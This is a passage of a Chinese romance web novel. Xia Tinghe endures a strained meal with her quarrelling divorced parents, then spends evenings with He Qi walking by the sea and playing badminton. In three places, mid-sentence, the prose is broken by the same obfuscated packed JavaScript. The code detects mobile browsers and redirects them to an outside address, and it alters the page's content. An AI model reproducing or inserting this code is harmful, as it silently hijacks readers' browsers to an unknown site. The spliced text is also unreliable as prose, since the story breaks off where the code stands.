“完全就是我的理想型！我刚开始很想追他，只是后来发现我和他除了生活上的琐碎，很多事情我都跟不上他的节奏。他成绩好，家庭条件也好，周围也都是很优秀的人，我们好像根本不是一个圈子的。” “那次面基之后的每次线上聊天，我心里都会不断地想起这一点。其实我知道他没有这种想法和观点，他也确实没有当着我的面说过这些，只是我自己一直很自卑，觉得在他面前好像永远都是低着头的。我很想让自己不这么想，但做不到，所以只能放弃了，就慢慢减少了和他的联系。” “现在……”女生笑了笑，转头看向夏汀禾，脸上是释怀之后的轻松，“如果不是今天看到你的话，我应该已经不会再想起他了。” 女生心里挺感谢能来到民宿这里工作，遇到了不错的老板，虽然偶尔会有一些奇葩顾客，但每天也会发生一些趣事，尤其是还认识了夏汀禾。 她刚开始知道夏汀禾是名牌大学的学生，还怕对方会看不起自己，所以一直小心翼翼的。不过相处之后，才发现人家根本就没这么想，女生就更加喜欢她了。 说完，女生对她眨了眨眼：“你呢？有没有什么小故事？” 夏汀禾犹豫了，女生就晃了晃她的胳膊：“和我说说嘛，我保证也不告诉别人。” 架不住女生的热情，夏汀禾答应了。 女生立即挺直腰板认真听。 女生的经历与和自己暗恋的过程有一部分重合，夏汀禾能在听的时候感同身受。 现在被这么问了，夏汀禾也理所当然地以为自己会和她说付言辞的事。 只是开口了，才意识到不是。 她和女生说的是：“……你会去追自己不喜欢的人吗？” 话音落地，夏汀禾突然脑袋一片空白。 女生刚开始还没听懂：“嗯？什么意思啊？” “你是说你对一个男生没意思，但是要追他？”女生还在认真地替她想问题。 其实也算不上追。 在夏汀禾追根溯源自己为什么会突兀地冒出这样的想法时，女生给出了回应：“是因为和他在一起感觉不错吗？那可以当朋友呀。” 门口在这时传来动静，夏汀禾下意识地看过去。 只是一只猫而已。 但她期待的好像是别的。 夏汀禾没办法和女生解释具体的原因。 从被付言辞拒绝、被人放在校园墙上说到碰见贺祁、和他在晚上出去，她自己都不清楚自己的想法。 再加上那天晚上被蔺妤问了话之后，害怕妈妈发现，她心里就更乱了，所以早上才选择躲着贺祁。 任由一团乱着的东西继续就这么放着。 不去打开，就可以假装不存在。 这是夏汀禾习惯的逃避方式。 看出来她很纠结，女生眨了眨眼，把心里话说了出来： “虽然不知道你具体指的是什么，但是从我的角度来看，你其实并不想和那个人只当朋友，对吧？” 夏汀禾原本要说的话突然不知道怎么开口了。 - 中午十二点，夏汀禾接到蔺妤打过来的电话，让她现在过来预定的餐厅。 挂了电话，夏汀禾开始在客厅里翻箱倒柜地找东西。 路过的舅舅看到了，从门口探着脑袋进来问：“找什么呢？小禾。” 过于专注，夏汀禾没听到他的话。 直到翻遍了客厅也没有找到东西，她怅然若失地起身，看到舅舅站在门口。 舅舅又重复了一遍问题。 “没什么。”夏汀禾摇了摇头。 是很久之前爸爸妈妈外地出差时，给她买的手链。她当时期待了很久，拿到后也一直戴在手上，只是后来取下放进了柜子里，以为总有一天会有重新拿出来的时候。 但现在似乎再也找不到了。 没多久，夏汀禾又收到蔺妤催她出发的消息，她没再继续找，随便拿了一些日常的饰品戴上就出了门。 餐厅是夏汀禾爸爸夏景年选的，离夏汀禾家并不远，步行十几分钟就到了。 推门进去前，夏汀禾站在台阶上，做好几次的深呼吸缓解紧张。 她已经几年没有见过夏景年了，线上联系也更是没有，所有和爸爸的相关的消息，都是从长辈那得到的。 但也知之甚少。 唯一比较清晰的，大概也只是知道他目前仍然在研究所里工作。 面前的门从里面被打开。 蔺妤走了出来。 她没有特意打扮，穿着依旧是上班的那一套。 见夏汀禾站在门口，她皱了下眉，不解地问：“站门口做什么？见你爸难道还要做心理准备？” 怕妈妈心情不好，夏汀禾摇头说没有，很快跟着她去了桌位那边。 走过去的那几步，夏汀禾止不住地往对面打量。 她看到了夏景年。 一身利落的白色衬衫和西裤，头发像是特意去理发店里打理过了，做了固定的三七分发型，整个人的气质是温润斯文的。 小时候经常有同学对夏汀禾说觉得她爸爸长得像电影里的明星，深受影响，夏汀禾也一直这么认为。 她动了动嘴唇，没能喊得出已经陌生的称呼，是夏景年先叫了她的名字。 “汀禾。” 夏汀禾很想回一句什么，只是也没能说出口，只能点了点头，干巴巴地在他对面坐下。 局促，不安，紧张，和她来时想象的欣喜欢乐的场面并不一样。 等着上菜的时间，三个人沉默了许久。 夏景年挽起衬衫的衣袖，又不停揉搓着手，隔了许久，才想出一个不会出错的话题：“最近学习是不是比较忙？” 夏汀禾没敢抬头看他，怕自己看得太仔细，会觉得陌生。她低声说：“……是会比之前忙，但还好。” 夏景年知道女儿的学习成绩向来是不用操心的，只是想从自己的角度提建议，于是打开了话匣子之后，又继续顺着往下说：“是快大三了吧？以后准备继续读研还是直接工作呢？有想过以后的职业规划么？爸爸这边有认识一些……” “别再说这些没用的了。” 一句冰冷的话突然插了进来，打断了表面维持的平和。 是蔺妤说的。 “你对她了解吗？知道她高中大学成绩怎么样吗？”蔺妤笑了下，“你应该连她现在学的是什么专业都不知道吧。” 夏景年的确回答不出来她的问题，哑口无言。 话题悄无声息地中止，直到服务员过来，感觉到有些没控制住情绪，蔺妤才压下声来对夏汀禾说：“吃饭吧，吃完早点回去。” 她向来是接受指令的人。 “……好。” 夏汀禾下意识看向对面，夏景年无奈地对她笑了笑，用口型对她说没事。 学习的事被抛开在一边不谈了，夏景年努力在这一餐饭上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15520144|170573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尽好父亲的职责。他给夏汀禾夹菜，把店里招牌的排骨、海鲜，都挑选了些放在了她的碗里。 海鲜是夏汀禾最不爱吃这一类的，不管处理得多干净，总觉得有点腥味。 但这是夏景年给她夹的。 夏汀禾没说话，低头喝了口汤。 在夏景年高兴地再次琢磨着女儿可能会喜欢吃什么时，蔺妤放下筷子，再次开了口：“行了，你别夹了，没看到你选的她都不喜欢吗？” 刚被夏景年叫过来准备加菜的服务员听到她这一句，不由得有些尴尬。 服务员硬着头皮问：“三位还需要点餐吗？” 秉持着礼貌，夏景年笑了笑：“稍后有需要再点吧，麻烦了。” 实习服务员一阵风似的跑了。 后半段时间里，夏景年几乎没怎么吃。他们比来时更加沉默，夏汀禾已经不再期待其他的了，只想快点结束。 “吃好了？” 在夏汀禾放下筷子准备去拿甜品时，突然听到蔺妤的问话，她又把手收了回来：“嗯。” “那走吧。” 蔺妤拿起包，绕开桌子，从沙发上起身。夏汀禾往对面看了一眼，最终还是跟着蔺妤往外走。 夏景年在这时说了话：“蔺妤。” 多年没听过他的声音叫自己，蔺妤一时间没反应过来，愣了会儿神。 片刻后，她看过去，问：“什么事？” 语气虽然还是冷，但已经比之前缓和了许多。 夏景年站了起来，和她平视着，语气依然平静：“你对我是什么态度，我都可以接受。” 他看了看夏汀禾：“但是希望你不要干预我对汀禾的事，她也是我的女儿，我为什么不能关心她？询问她的消息？” “是，孩子后来是一直跟着你的，但我难道没有照顾她吗？你把她放在你弟弟家，自己好几个月才回去，见了面就走，说话的时间每次应该不会超过十分钟吧？你有想过她心里的感受吗？” 刚才积累起来的一点期待被彻底磨灭，蔺妤看着他，眼神愈发冷了下来：“所以你现在是在指责我？” “是我提的离婚？是我说日子过不下去了？” “你别在这里高高在上地指责我，你最没资格，你除了给她打钱，你连几个月看她一次都没有。说的话是她不感兴趣的，夹的菜是她不爱吃的，你的照顾在哪？我也没看出来。” 她的声音逐渐扬高，周围还在用餐的客人，一头雾水地看过来。 有几个凑热闹的，甚至已经站在了边上吃上了瓜子。 一通说完之后，蔺妤才发现自己这里已经成了目光聚集地，她深吸了一口气，尽量平复自己的心情，扭头想对身后的夏汀禾说回家。 一回头，却发现夏汀禾早就不见了人影。 夏景年和蔺妤在这时同时收到了短信。 是夏汀禾发过来的。 【我们以后可以不要一起吃饭了吗？我不想看到你们吵架，也应该不需要那么多的关心】 - 民宿正好到了午休时间，关店休整。 女生简单收拾了下大厅，就打开了吊床准备睡觉。 刚铺好枕头，看到夏汀禾快速地走了进来，步履匆匆。 “诶，汀禾！” 夏汀禾被她喊着站住了脚。 女生并不知道她是去见了谁，也没追问，只偷偷把她拉到了一边，看了看四周后，向她打探： “怎么样？你还决定继续追那个……” 女生笑了笑：“那个你不怎么喜欢的人吗？” 她故意拉长了尾音，意味深长。 要不是看了一下她，夏汀禾都要怀疑是不是宁苒拉住了自己。 被女生拖着坐在了吊床上，吹着午后的微风，感觉到耳边的碎发轻轻飘扬。 阳光从木窗里透过，落在身上，又铺满了木制地板。 这里似乎比餐厅要明亮的多。 她突然冒出一个念头——很多她以为很美好的回忆，其实早就烂完了。 “快说呀，我们不都是好朋友了嘛。” 女生又像早上一样撒娇似的摇了摇她的手臂。 夏汀禾在这时想到了贺祁。 很奇怪，她躁动的心情居然会被另外一种情绪替代。 和在餐厅里的感觉不同，跟在面对付言辞时的感觉也不一样。 “而且你还没告诉我，那个人长得帅不帅啊？人品怎么样？” 女生一遍遍地追问着。 不知怎么的，夏汀禾忽地感觉到脸颊有些微热。 眼前浮现出贺祁那张脸，她支支吾吾地说：“他……” “他还挺好看的。” 终于得到回应，女生立即激动起来：“都被你说好看了，那肯定超级帅！下次要是你想分享了，一定要继续来找我！我随时奉陪！” 聊完了感情上的事，女生又拉着她说了许多民宿里的趣事，在餐厅里积攒的负面情绪都在这里得到了释放。 等女生困意抵挡不住了，她才肯让夏汀禾走。 回到房间，夏汀禾正好看到梁浩出去玩发的朋友圈。 照片的背景是游乐场，但里面只有他和祝朝月两个人。 贺祁并不在。 夏汀禾搜索了下地图。 半分钟后，一冲动，她给贺祁发了条消息。 14. 回应 暑假时节，正是游乐场最热闹的时候。 为了不挤着抢着把所有项目一口气玩完，梁浩特意买了全天票，和女朋友边等边吃，慢悠悠地排队，半点也不着急。 吃完一个甜筒，又开了一盒薯片，感觉到吃不下了，祝朝月把剩下的扔给梁浩，抬了下下巴，指着另一边问： “贺祁怎么回事？他被你拖过来的？” 一上午过去了，他们俩多多少少也玩了一些项目。只有贺祁，拿了票进来之后，选了个过山车坐了下，其他的就都没再看过。 要说是刺激项目他承受不了那基本上是不可能。 都是老同学了，一起出去的次数不少，他们俩都了解，贺祁基本上是什么危险玩什么，只要他感兴趣。 好在他也没有拉着别人和自己一起的爱好，否则梁浩怀疑自己应该早就在某次蹦极或者绝壁攀岩中给吓死了。 “什么叫我拖过来的？我问了他想去哪玩，他说随便，我才选游乐场的，咱们讲点道理好吗宝宝？” 梁浩语气无奈，想宠溺地摸一下女朋友的头，被祝朝月一巴掌拍开。 “那他为什么看起来兴趣不高？” “还好吧。”梁浩朝贺祁那边看了一眼，瞥见他正坐在游乐场的休息椅上，不知道随便从哪拿了乐高在拼。 手机被丢在了一边。 这人本就是长着一张蓝颜祸水的脸，一个人坐在那，后靠着椅背，慵懒随性地拼着乐高，没一会儿就有人过去搭话了。 贺祁笑着和陌生人聊天，依旧和往常一样游刃有余。 这样的状态，大概率是没事。 梁浩有时候其实挺好奇的，贺祁会不会也有失控的时候？比如被别人主导情绪？ 至少在他认识贺祁的这些年里，从来没有看到过他被谁牵制、影响过。身边的朋友来来去去，他都是好聚好散，从来不会对谁有过多的情绪外露。 “他有时候会不太想和人交流，你知道吧？” 梁浩只能给出这么个答案。 “那他现在是在和谁说话？”祝朝月扯了下嘴角，指着贺祁旁边的陌生人问。 “就是不想和认识的人聊天，陌生人没关系。”自己也意识到说得逻辑混乱，但梁浩确实也不知道该怎么解释。 “反正不用担心他，过一会儿就没事了。” 和梁浩说的一样，没多久，贺祁拼完了乐高，就起身朝他们走了过来。 “在排什么？” 梁浩搭上他的肩膀，笑嘻嘻问：“碰碰车，玩不？咱俩可以比一局。” 贺祁往人挤人的场地看了眼，这里似乎比大摆锤那还要刺激，吵得几乎要听不到说话声。 “算了。”他笑了下，懒洋洋道：“怕你输得太惨，在女朋友这儿没面子。” 这人向来就一副欠揍的模样。 没办法动手，梁浩只能咬牙看了他一眼，撂下一句：“等下次只有咱俩来的时候，决一死战好吧？别耍赖。” “行。”贺祁笑着应下了。 手机在这时响起提示音。 贺祁垂眸看了眼，以为是群里的消息，正准备关静音，打开了却看到夏汀禾的名字。 原本快速滑动的指尖瞬间停了下来。 “干吗？老周又给你发消息催论文了？”梁浩打算下意识地往他这儿瞥，被贺祁快速侧了侧手机，挡了过去。 “不是。”贺祁一句话回绝了，脸色也平淡了下来。 很有鬼。 梁浩在心里啧了好几声。 虽然不知道是谁，但他不得不承认，对面是有点厉害的，能让他兄弟瞬间变脸。 估摸着贺祁现在也不需要他去开解，梁浩对在不远处买玩偶的祝朝月喊了声：“到我们了，过来吧宝宝。” 祝朝月顶着太阳小跑过来，和梁浩一起进了场地。 两个人在选车时，还要选同色系的情侣款。 游戏开始，十几辆碰碰车互相撞着发出声响，伴随着人群的欢呼和喊叫声。 贺祁没走远，仍旧靠着场外的栅栏，被要求着帮他们俩拍了合照后，就漫无目的地看着周围。 他没回夏汀禾的消息。 说不上来是因为什么。 他其实很少会和别人置气，对于外人的恶意或者是目的不单纯地讨好，他都不怎么在意。 只是早上时，夏汀禾特意避开他的举动，确实让他一路上有点烦躁。 一方面是因为自己会受别人而情绪波动，这种感觉他很不习惯，有种失去控制的不安稳感，另一方面是，他知道夏汀禾在想什么。 八成是回过头来，觉得他们走得太近了，发现不好，又想远离。 所以，把他当什么了？ 想到这里，贺祁直接把手机关机了，径直走去了排鬼屋的队伍。 检票的工作人员看到只有他，还特意问了句：“您是一个人吗？” 贺祁“嗯”了一声，检票通过，他随着成群结队的人一起进去。 - 一通玩下来后，已经是天黑。 三个人是打车回去的。 梁浩去了女朋友那，贺祁就独自回了民宿。 在马路边下了车，贺祁看向民宿的方向，一楼开放式的大厅已经亮起了暖黄色的光，透过半窗可以清楚看到里面的场景。 前台的女生手撑着下巴，拧着眉在弄电脑，右边的沙发休息区，有客人三五成群地坐在那聊天喝酒，时不时手舞足蹈。 夏汀禾不在。 似乎是意料之中，但心里又有点微妙的情绪波动。 贺祁没管，径直穿过花园走向大厅。正准备走楼梯上去时，忽地听到前台有人来询问。 “诶，今天汀禾妹妹怎么不在？” 他的脚步停顿了下。 女生回答客人说：“噢，她不是员工，就是来帮忙的，现在招到人了，以后就不会来上班啦。” 女客人有些可惜：“哎，我都还没和她说过话呢。之前怕她害羞，都没敢搭话。第一次看到这么漂亮的妹妹。” 两个人聊完了夏汀禾，又开始了新的话题。 民宿里和往常一样温馨欢快，却总有哪变得不一样起来。 贺祁没再停留，直接坐电梯上了楼。 回了房间，他照例去浴室洗了澡，换了一身衣服。出来后，贺祁才想起来手机还是关机的。 他在床边坐下，头发滴着水的也没管，直接摁了开机键。 屏幕一亮，他的视线也跟着看了过去。 夏汀禾给他发的消息还停留在下午的那一条。 【你没和他们一起吗？我都没在朋友圈看到你】 贺祁闭了闭眼。 理智上说不要回应，但他还是回了。 【什么事？】 他冷着脸敲下这几个字，等待的时间里，眼眸里的光愈发的暗。 不过发出去之后，脑子里又闪过一瞬间想要撤回的想法。 但他没撤回。 他就是这样。 也莫名地，想让夏汀禾知道——他在心情躁动的时候，就会变得不耐烦。 没想被别人带着情绪走，贺祁等了半分钟，没见对面动静，直接就收了手机，打算扔一边去。 夏汀禾就在这时回了他，贺祁不得不又把手机拿了过来。 【你回民宿了嘛？没什么事， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15520145|170573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我下午的时候只是想问问你，是不是和他们在一起玩】 他随意地回复：【嗯，是，所以呢？】 贺祁都没想到自己会在一个人面前这么快地暴露自己真实的一面。 他自己都不喜欢的。 消极的、躁动的、偏执的一面。 因为他自己都厌恶，所以平常会隐藏起来，也不会被别人看到。只是夏汀禾似乎能够轻易地打破这一点。 他垂着眼眸看手机，继续等着消息。 这一次，夏汀禾回复得快了些。 【如果不是的话，我想和你一起的。不过你之前应该是没看到消息，现在已经天黑了，好像出去也不方便了】 夏汀禾确实是这么想的。 下午要是贺祁没和梁浩他们一起，她可以做个伴出去逛逛。只是没想到一直没等到贺祁的消息，只能作罢。 于是一整个下午，她都坐在家里的沙发上，捧着西瓜边吃边看电视。 不过追完了许久没有看的搞笑综艺，感觉倒也不差。 回完了消息，夏汀禾起身打算去换一下睡衣，躺床上去休息。 刚进卧室，手机再次一响。 【你想去哪？】 夏汀禾又打开地图看了眼，她下午标记的是市内的天文馆。知道贺祁是相关专业的，觉得他应该会喜欢。 正准备回复，那边又跳出来消息。 贺祁：【过来找我】 贺祁：【现在】 - 夏汀禾抵达民宿时，贺祁正在花园里的餐厅和别人聊天。 他旁边的座位都坐满了人，弯弯绕绕的桌椅，夏汀禾不方便过去，只能在手机上提醒他自己到了。 不过贺祁没看手机。 几分钟后，周围的人慢慢散去，夏汀禾绕过阻碍过去，没想到贺祁在这时也起身往外走。 眼看着人马上要走远了，夏汀禾立即叫住了他。 “贺祁！” 他的名字似乎还挺顺口，夏汀禾喊得次数虽然不多，但每次想到，几乎都能快速地说出来，以至于现在声音大得他旁边的人都往这边看了过来。 贺祁回过头，发现夏汀禾就站在门口，手里拿着一杯过果绿色的青柠汁，咬着吸管喝。 白色的裙摆在夏夜微凉的晚风中轻轻飘动，露出纤细的小腿和底下干净的白鞋。 被路人盯着看之后，她又装作什么都没发生似的望向了别处。 假装不是自己喊的他。 贺祁本来估摸着她快到了，所以起身去外面，但没想到夏汀禾提前了一点。 想到这里，他的心情突然好了许多。 好像不久之前那些莫名其妙的情绪，都不是在他身上发生的一样。 他瞬间生出了逗弄人的心思。 贺祁没过去，就这么隔着几米的距离，淡淡地看着她，问她：“做什么？” 怕她听不清，还特意大声了点。 他倒是不怕别人看，只是夏汀禾却被其他人频频投来的目光弄得耳朵泛红了。 她知道贺祁是故意的。 不过因为早上的事，夏汀禾对他心怀愧疚，也没计较这点了。 她只好等人少了，再一次跑到贺祁这边。 最近相处的这段日子，让他已经在夏汀禾心里留下了听力不怎么好的刻板印象，再加上民宿里人声嘈杂，于是过来之后，夏汀禾主动凑近了他，垫了下脚靠在他耳边说： “你不是说过来商量吗？那你明天想去哪里玩呀？” 她没扎头发，细碎的发尾就随着动作落在了贺祁的手臂上。 人群之中，他没听清楚话，只听到了她的声音。 15. 羽毛球 直到有人从旁边路过，贺祁反应过来，才立即向后靠了一点，拉开了距离。 看到他的动作，夏汀禾也意识到自己有点靠得太近了，迅速又往边上站了些，捧着手上的青柠汁喝了一口。 冰凉酸甜的果汁入口，脸上的热意稍稍降下来了点，夏汀禾才抬眸看了他一眼，小声问：“去天文馆，可以吗？” “噢。”贺祁其实还有些没从刚才的状况中回过神来。 他尽量表现得漫不经心些：“都行吧，你对这边比较熟悉，看你安排。” 夏汀禾虽说在这边待了十几年了，但仍然有挺多地方没去过，天文馆就是其中之一。 但好不容易确定下来，她也没想改了，于是点了点头说好。 两个人又再次陷入沉默。 在夏汀禾答应过来找他后，贺祁一整天下来的烦躁其实就已经消了一半。现在人就在他旁边，剩下的那点不耐烦也早就没了。 照理说，事情商量完毕。大半夜的，两人就此该分开回去睡觉。 夏汀禾也这么以为，只是她想起自己还要追他来着，晚上又是最佳拉近距离的时机，自然不能错过。 正琢磨着怎么开口，这时又有人从他们旁边穿过，两人不得不往同一边站。 再次靠到了一起，手背在不经意之间碰了下。 夏汀禾感觉到他的体温比自己的要低。 好在贺祁没察觉到，继续像是什么都没发生一样，双手随意地搭在餐厅外围的白色栏杆上。 他们就这么隔着几厘米的距离，望着海边。 风吹起时，偶尔衣摆会碰到一起。 安静了一会儿，在夏汀禾想问他要不要去散一下步时，贺祁忽地侧过头来，问她： “想回去睡觉了？” 语气是超乎平常的温柔。 夏汀禾一愣，松开了咬着的吸管，一双亮晶晶的眼眸看着他，温声道：“没有啊。” “嗯。”贺祁应了一声，夏汀禾也摸不准他的意思。 接着，又听到他说：“去海边走走？” - 接近晚上十点，沿海的公路上依旧有许多人，夜骑的、或者散步的，三三两两环着海遛弯。 夏天的夜里，海边是格外清凉的。 以前夏汀禾就爱来这边散步，什么都不做，单是坐在路边的台阶或者休息椅上，吹吹风，看看海，就可以了，心情就能平静许多。 第一次和异性过来这边，夏汀禾自然没好意思这么做。 路过一家球馆，她主动开启话题：“你想去打球吗？” 明明是贺祁问她要不要来这边，结果过来了，这人又一句话都不说。 在她开了口之后，贺祁这才终于回应：“不去。” 她以为贺祁是已经洗了澡，不想出汗所以拒绝，正准备说好，又听到他慢悠悠地给了解释：“不会打。” 夏汀禾：“？” 有那么一瞬间，夏汀禾怀疑自己是不是听错了。 那她那天看到的照片是什么？摆拍的吗？ 琢磨了一会儿，夏汀禾估摸着他大概是打篮球的技术一般，谦虚一下，所以直接说不会。 看到旁边的空地上，有人在对打羽毛球，夏汀禾又问他：“羽毛球呢？” 这类一般都会接触过吧。 夏汀禾心里这么想着。 不过转而又想到那天和付言辞打球的场景，夏汀禾自己顿时也没了兴趣。 好在。 贺祁也是。 ——“噢，这个么？”贺祁看着她，莫名笑了下：“没试过。” 他回答得理直气壮，倒显得她有点不太礼貌了。 夏汀禾又问了几个常见的球类运动，她这种不怎么爱锻炼的都多多少少接触过一点，但毫无例外，贺祁似乎根本对这些不感兴趣，要么不会，要么没玩过。 就连自行车，这人也不会骑。 但转眼想到他家里的条件，夏汀禾又明白了——家里有司机，自己有车又会开，干嘛要选两个轮子的？ 这样下来，他们俩几乎没有其他可以消磨时间的事可做。 就只能这么干巴巴地散着步。 好不容易才把人约出来，怎么说也要在外面晃悠一小时再回去。 在夏汀禾苦思冥想还有没有其他的选择时，贺祁突然停了下来。 夏汀禾看向他，以为他有什么话要说。 贺祁确实有话要说，他活动了下手腕，就指着下不远处树下的休息椅，漫不经心道：“有点累了，去那边休息一下吧。” 夏汀禾：“……” 他们出来散步的时间应该还没有超过十分钟。 不过到底是陪他出来的，夏汀禾还是答应了。 夜里树下凉快，这边又正好可以看到沿途的一大半风景，因此周围的椅子上几乎坐满了乘凉的人。 不远处乐队的音响似乎调大了些，伴随着节拍慢慢高扬起来。 路灯就藏在休息椅旁边的棕榈树上，他们坐的位置，淡淡的光晕正好洒在身旁。 固定了动作，夏汀禾更加拘谨起来，放在膝上的双手都有点无措。 贺祁单手靠在椅背上，还跟没事人一样，偏过头来问她：“你以前没来过这里么？” “嗯？”不知道他为什么突然这么问，夏汀禾有点懵，“来过。” 贺祁扬了下嘴角：“那怎么这么生疏？不知道还以为是我强迫你过来的。” 又在故意在逗她了。 夏汀禾抿了下嘴唇，忍不住回怼说：“以前我都是一个人来的。” 言下之意就是，她之前根本不需要这样费尽心机地想办法找话题。 说完之后，夏汀禾又觉得自己态度有点不好，顿时低下了头。 贺祁脸上的笑更加加深了些。 “啧。”贺祁看着她说：“这么看来，还是我的错了。” 本来就是。 夏汀禾在心里暗戳戳地吐槽了一句。 如果他会点其他的什么，他们还可以去做点不这么尴尬的。 “行。”看到她气鼓鼓的模样，贺祁又笑了下，问她：“那你说说你以前一个人来这边会做什么？” 聊到后面，夏汀禾也慢慢放松下来，她理了理裙摆，看着马路边来来往往的人，确实也想不出，自己单独来时，会做什么特别的事。 她小声回答说：“就是到处看看，也没什么特别的。” 这条路上很少会碰到熟人，陌生人多但又不会吵闹，夏汀禾喜欢这样安静平淡的氛围，让她可以很放松。 三个室友和她相反，热爱欢快热闹的场景，气氛越浓烈越好，这也就导致挺多次她们和夏汀禾一起出去时，都会玩得不怎么尽兴。 室友自然也会照顾她的心情，偶尔问她想去哪里。但夏汀禾不愿意她们都迁就自己，于是有时也会违背心意地选择热闹的地方。 比起去哪，和朋友在一起时，她更看重的是她们。 莫名地担心贺祁也不怎么喜欢她讲的这些，夏汀禾正准备聊点其他的扯开话题。 又听到他说：“每次碰到的人都不一样，看到的风景也不同。这不挺特别的么？” 夏汀禾愣了下，反应了几秒他说的话。 她一直以为贺祁也是喜欢热闹的人，但现在看来，似乎不是。 他好像也挺喜欢这种简单安静的环境。 “刚不是说想打球？” 在夏汀禾出神地看着远方思索时，贺祁再次开口。 “你不是……” 不行吗？ 后面几个字没说出来夏汀禾没说出来，贺祁已经起了身，回过头来问她： “什么？” 夏汀禾迅速摇头：“没什么啊……” 差点就说出口了。 - 两个人来到了最近的羽毛球馆。 拿了球拍和羽毛球，绕开其他人选了场地。正好场馆还有一小时关门，夏汀禾估摸着他们俩玩差不多半个多小时，就可以回家了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15526121|170573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贺祁之前没怎么玩过，夏汀禾原本还怕他难上手。 不过对打了几次之后，发现这人其实技术还可以，不算很差，至少这样平常打着玩是可以的。 偶尔有几次夏汀禾没注意分寸，发了几个难接的球，他也能轻轻松松接住。 后来旁边的人看他们俩颜值顶，打球也还行，便过来问要不要一起。 夏汀禾向来不擅长应对这种场景，没办法拒绝，又被对面几个人接连问了几句，只好答应了。 贺祁站在夏汀禾的身边，在她答应之后，余光淡淡地扫过里面的几个男生。 “你觉得可以吗？”夏汀禾突然想起自己不是一个人过来的，于是又扯了下贺祁的衣角，问他的意见。 贺祁的视线落在她扯自己的手上，他笑了下，说：“噢，我都行。” 夏汀禾这才放下心来。 这几位其实也是怀揣着交个朋友的心态来邀请的。 本以为可以进行技术上的交流，再怎么不济，也可以欣赏一下脸。 但几分钟后，他们就认清了现实。 两两一队，和贺祁在一起的，必输。 不管是大佬还是新手，都没办法和他配合起来。 等着中场休息的时间，其中一位男生看贺祁去洗手间了，这才悄摸跑到夏汀禾身边来说。 “汀禾妹妹，你看这样可以吗？要不让你的朋友休息一下？你和我们一起打就行了。” 夏汀禾刚开始还没明白他的意思：“为什么？” 直到男生有点不好意思地说：“不是我挑剔，但你朋友的技术确实有点菜了。我们正常发球，他接不住就算了。直接给他喂球，他都不行！真的……” 眼看着就要爆粗口了，男生及时止住了话，不好继续再说下去了。 夏汀禾也觉得奇怪。 明明刚开始和她一起的时候，贺祁表现得也还行，怎么和别人对打，就基本上接不住了？ 这时其他人也围了过来。 “我真的是被他这张脸给骗了，还以为他是大佬，结果没想到……” “诶，汀禾妹妹，他不是你男朋友吧？如果是的话，劝你三思，男的运动都这么不行，那别的地方也不一定行。” 一人一句吐槽，全是肺腑之言。 夏汀禾知道他们没有恶意，只是这么说贺祁，她还是忍不住回了一句：“他以前没有打过，今天是第一次。” “如果你们觉得和他打没意思，那我们就下次再约吧。” 剩下的几个还在挽留她：“不是，我们可以和你一起的啊。只是叫你朋友不要加入就好了。” 夏汀禾摇了摇头：“是我带他过来的，我要和他一起。” 她刚说完，几个人突然没了声音，男生撇了撇嘴，示意她往后看。 夏汀禾回过头。 贺祁不知道什么时候回来了，站在她的身后。 他往前走了一步，就把她和别人给隔开了。 看见一堆人围在这儿，贺祁弯下腰来，低头问：“嗯？怎么了？” 声音浅浅地覆盖上来。 靠近了，夏汀禾闻到他身上很淡的薄荷味。 不知道他有没有听到前面的对话，夏汀禾有些慌乱了起来。 她指了指对面，低下头，不太熟练地找借口回他说：“……没怎么。就是他们想自己玩了，所以接下来我们就不和他们一起了。” 贺祁对这些事向来敏感，就算她这么说，夏汀禾也知道他大概能猜出来对面是什么意思。 在球场上被否认技术，是个人多少都会不开心的。 夏汀禾还想着找点安慰的话。 但没想到，听完了她的说辞，贺祁突然笑了下。 他看上去丝毫不在意，甚至似乎还有一点喜悦。 “这样啊？那还挺遗憾的。” 他很快拿上了拍子和羽毛球，侧过了脸，目光直勾勾地看着夏汀禾，说： “那就我们俩玩，行么？” 16. 相册 后半场没人打扰，基本上就是他们俩有来有回地对打。 贺祁的水平在这时候又恢复了正常。 要不是那群人后来走了，夏汀禾还挺想让他们过来看看，证明一下之前应该不是他的问题。 打完羽毛球回到家，已经接近十一点。 洗完澡出来后，夏汀禾坐在沙发上边吹头发边看消息。 宿舍群里依旧热闹，几个室友放假了也在分享自己的日常。 直到宁苒问了夏汀禾一句：【汀妹最近在做什么？都没看到你在群里说话】 擦头发的手一顿，夏汀禾立即放下毛巾，想了半天才打出一行字来回应。 【我基本上每天都在家，偶尔会出去逛逛，没什么有趣的……所以就没有和你们分享了】 发完这条，夏汀禾又开始心虚起来。 但就目前的情况而言，还是不告诉她们的好吧？ 